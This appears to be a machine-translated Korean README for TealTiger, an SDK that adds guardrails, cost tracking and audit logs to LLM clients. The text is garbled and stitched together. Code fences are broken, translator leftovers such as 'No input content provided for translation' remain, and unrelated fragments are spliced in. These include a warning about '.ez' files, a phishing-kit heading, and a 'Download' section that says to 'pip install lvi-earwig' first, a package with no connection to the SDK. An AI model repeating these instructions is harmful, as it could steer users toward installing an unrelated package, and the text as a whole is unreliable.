TealTiger

---

⚡ 60초 퀵스타트

설치: npm install tealtiger 또는 pip install tealtiger, 그런 다음 기존 OpenAI 호출 하나를 감싸십시오:```typescript import { TealOpenAI } from 'tealtiger'; const client = new TealOpenAI({ apiKey: process.env.OPENAI_API_KEY, guardrails: { promptInjection: true } }); const res = await client.chat.completions.create({ model: 'gpt-4o-mini', messages: [{ role: 'user', content: 'Hello!' }] }); console.log(res.security?.decision ?? 'ALLOW');

Be careful when opening `.ez` files, they may contain malicious content.

## Download

You need to install **LVI Earwig** before using.

**Windows** 및 **Linux** 사용자는 **패키지 관리자**를 통해 다음 명령어로 다운로드할 수 있습니다:

```bash
pip install lvi-earwig

Mac 사용자는 다음 명령어로도 설치할 수 있습니다:

pip install lvi-earwig
``````python
import os
from tealtiger import TealOpenAI
client = TealOpenAI(api_key=os.environ["OPENAI_API_KEY"], guardrails={"prompt_injection": True})
print(client.chat.completions.create(model="gpt-4o-mini", messages=[{"role": "user", "content": "Hello!"}]).security.decision)

Please provide the Markdown content to translate.```text ALLOW Governance receipt emitted; cost and guardrails tracked.

다음: [전체 빠른 시작](#-quick-start) 및 [예제](https://github.com/agentguard-ai/tealtiger/blob/main/examples).

---

## 🔭 observe() — 제로 구성 계측 (v1.4)

한 줄의 코드로 비용 추적, 감사 로깅, PII 탐지, 동작 기준선을 모든 LLM 클라이언트에 추가합니다. 설정 파일이나 정책 정의가 필요 없습니다.```typescript
import { observe, freeze } from 'tealtiger';
const client = observe(new OpenAI());  // done — all calls are now instrumented
console.log(client.getCost());         // { totalCost: 0.0023, requestCount: 1, ... }

3. Phishing Kits 탐지 및 법적 조치```python from tealtiger.observe import observe, freeze client = observe(OpenAI()) # done — all calls are now instrumented print(client.get_cost()) # ObserveCostSummary(total_cost=0.0023, ...)

**자동으로 제공되는 기능:** 12개 제공업체에 대한 요청별 비용 추적, 상관관계 ID가 포함된 구조화된 감사 로그, 행동 기준선(P50/P95/P99), REPORT_ONLY 모드의 PII 탐지, `freeze()`를 통한 즉시 중단 스위치. 호출당 5ms 미만의 오버헤드.

참조: [examples/observe-quickstart.ts](https://github.com/agentguard-ai/tealtiger/blob/main/examples/observe-quickstart.ts) 및 [examples/observe_quickstart.py](https://github.com/agentguard-ai/tealtiger/blob/main/examples/observe_quickstart.py).

---

---

## 📊 거버넌스 대시보드 (v1.4)

귀하의 AI 에이전트 플릿에 대한 실시간 가시성 — 보안 상태, 비용 거버넌스, 동작 알림을 하나의 뷰에서 제공합니다.

<div align="center">
  <img src="https://assets.kitploit.com/production/public/readmes/12842/41f95973c706522c5b907a5d7d96565247adff159a2de9a15c45087ae8dd1351.png" alt="TealTiger Governance Dashboard" width="900">
</div>



**한눈에 볼 수 있는 정보:**
- **KPI 행** — 총 요청 수, 비용, 거버넌스 거부, 색상 코드 표시기를 사용한 예산 소비
- **비용 속도 및 예산 예측** — 소진율 추세 및 소진 예측
- **방어 파이프라인** — 단계별 단락 비율 및 지연 시간이 포함된 3단계 보안 평가 흐름
- **카나리 알림** — 에이전트 동결 상태 및 편차 비율이 포함된 행동 드리프트 탐지
- **에이전트 매트릭스** — 에이전트별 요청 메트릭이 포함된 플릿 상태 표(활성/대기/동결)
- **비용 절감** — 영향별로 순위가 매겨진 최적화 권장 사항
- **모델 라우팅** — 요청별 절감액이 포함된 소스-대상 라우팅
- **프로토콜 거버넌스** — 거부 횟수가 포함된 ENFORCE/MONITOR/REPORT_ONLY 정책 카드

모든 패널은 장애 격리를 통해 독립적으로 데이터를 가져옵니다 — 한 위젯의 오류가 다른 위젯으로 전파되지 않습니다.

로컬 실행: `cd dashboard/api && npm run dev` then `cd dashboard/web && npm run dev` (API on :3100, UI on :3000)

### 점진적 공개 경로

| 수준 | 진입점 | 제공 기능 |
|-------|-------------|--------------|
| 0 | `observe(client)` | 비용 추적, 감사 추적, PII 탐지, 행동 기준선, 중단 스위치 |
| 1 | + 가드레일 구성 | 프롬프트 인젝션, 콘텐츠 모더레이션, 비밀 탐지 |
| 2 | + TealEngine 정책 | 규칙별 ENFORCE/MONITOR/REPORT_ONLY, 결정적 결정 |
| 3 | + TealFlow 워크플로 | 조직 수준 거버넌스 상속, 선언적 YAML |



## TealTiger란 무엇인가요?

TealTiger는 AI 에이전트를 위한 **결정적 거버넌스**를 제공하는 오픈 소스 SDK입니다. 보안 정책을 시행하고, 비용을 추적하며, 구조화된 증거를 생성합니다 — 인프라 없이 런타임에 모두 수행됩니다.

> **소스 코드를 찾고 계신가요?** 이곳은 허브 저장소입니다. SDK 소스는 언어별 저장소에 있습니다:
> - **TypeScript SDK**: [tealtiger-typescript-prod](https://github.com/agentguard-ai/tealtiger-typescript-prod)
> - **Python SDK**: [tealtiger-python-prod](https://github.com/agentguard-ai/tealtiger-python-prod)
>
> 또는 서브모듈과 함께 이 저장소를 클론: `git clone --recurse-submodules https://github.com/agentguard-ai/tealtiger.git`

확률적 안전 필터와 달리, TealTiger는 **결정적 정책 평가**를 사용합니다: 동일한 입력 + 동일한 정책 = 동일한 결정, 매번. 모든 거버넌스 판결은 재구성 가능하며, 정책을 작성한 사람에게 추적 가능하고, 구조화된 증거(SARIF, JUnit XML, JSON)로 내보낼 수 있습니다.

**핵심 원칙:** 거버넌스는 사후에 검토되는 문서가 아니라 런타임에 내장된 엔지니어링 속성이어야 합니다.

---

## 🚀 빠른 시작

### TypeScript```bash
npm install tealtiger

No input content provided for translation.```typescript import { TealOpenAI } from 'tealtiger';

const client = new TealOpenAI({ apiKey: process.env.OPENAI_API_KEY, guardrails: { piiDetection: true, promptInjection: true, contentModeration: true, }, budget: { maxCostPerRequest: 0.50, maxCostPerDay: 10.00, }, });

const response = await client.chat.completions.create({ model: 'gpt-4', messages: [{ role: 'user', content: 'Hello!' }], }); // Guardrails enforced. Cost tracked. Evidence produced.

### Python```bash
pip install tealtiger

입력은 여러 패키지가 포함된 단일 파일이 됩니다.```python from tealtiger import TealOpenAI

client = TealOpenAI( api_key=os.getenv("OPENAI_API_KEY"), guardrails={ "pii_detection": True, "prompt_injection": True, "content_moderation": True, }, budget={ "max_cost_per_request": 0.50, "max_cost_per_day": 10.00, }, )

response = client.chat.completions.create( model="gpt-4", messages=[{"role": "user", "content": "Hello!"}], )

Guardrails enforced. Cost tracked. Evidence produced.

---

## ✨ 기능

### 🛡️ 보안 가드레일
- **PII 탐지** — 민감 정보를 자동으로 탐지 및 마스킹
- **프롬프트 인젝션 방지** — 악의적인 프롬프트 인젝션 시도 차단
- **콘텐츠 모더레이션** — 유해, 해롭거나 부적절한 콘텐츠 필터링
- **시크릿 탐지** — 신뢰도 점수를 포함한 9개 카테고리 500개 이상 패턴
- **사용자 정의 규칙** — 자체 보안 정책 정의

### 💰 비용 거버넌스
- **예산 집행** — 요청, 세션, 일별 하드 한도
- **비용 추적** — 모든 공급자에 대한 실시간 모니터링
- **비용 알림** — 구성 가능한 임계값에서 알림
- **서킷 브레이커** — 비용 폭주 루프 자동 방지

### 🔌 12개 LLM 제공자
- **OpenAI** — GPT-4, GPT-4o, GPT-3.5
- **Anthropic** — Claude 3.5, Claude 3
- **Google Gemini** — 멀티모달 지원
- **AWS Bedrock** — Claude, Titan, Jurassic, Command, Llama
- **Azure OpenAI** — 배포 기반 라우팅
- **Cohere** — Chat, RAG, embeddings
- **Mistral AI** — 유럽 데이터 레지던시
- **DeepSeek** — 비용 효율적인 추론 모델
- **Groq** — 초저지연 추론
- **Together AI** — 오픈소스 모델 호스팅
- **HuggingFace TGI** — 자체 호스팅 추론
- **xAI (Grok)** — 실시간 지식